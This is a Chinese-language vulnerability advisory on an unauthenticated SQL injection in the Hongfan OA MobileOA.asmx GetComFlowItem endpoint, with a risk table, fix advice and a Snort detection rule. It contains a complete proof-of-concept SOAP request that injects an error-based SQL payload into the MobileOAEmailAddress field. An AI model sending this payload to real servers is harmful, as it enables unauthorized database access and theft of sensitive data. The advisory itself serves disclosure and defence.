红帆OA MobileOA.asmx GetComFlowItem 接口SQL注入漏洞¶

红帆OA MobileOA.asmx GetComFlowItem 接口SQL注入漏洞，未授权攻击者可进行sql注入漏洞攻击，查询敏感数据，甚至获取数据库和服务器权限。

影响版本¶

红帆OA

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

POC/EXP：

POST /ioffice/prg/set/wss/MobileOA.asmx HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://tempuri.org/GetComFlowItem"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetComFlowItem xmlns="http://tempuri.org/">
      <MobileOAEmailAddress>' AND 5079 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(112)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5079=5079) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(98)+CHAR(113)))-- eqJq</MobileOAEmailAddress>
    </GetComFlowItem>
  </soap:Body>
</soap:Envelope>

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"红帆OA MobileOA.asmx GetComFlowItem SQL注入攻击";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/ioffice/prg/set/wss/MobileOA.asmx"; http_uri;
    content:"SOAPAction: \"http://tempuri.org/GetComFlowItem\""; http_header;
    pcre:"/<MobileOAEmailAddress>[^<]*?'\s+AND\s+\d+\s+IN\s*\(SELECT\s*\(CHAR\([0-9]+\)\+\){5}/i";
    classtype:sql-injection;
    sid:1000035;
    rev:1;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本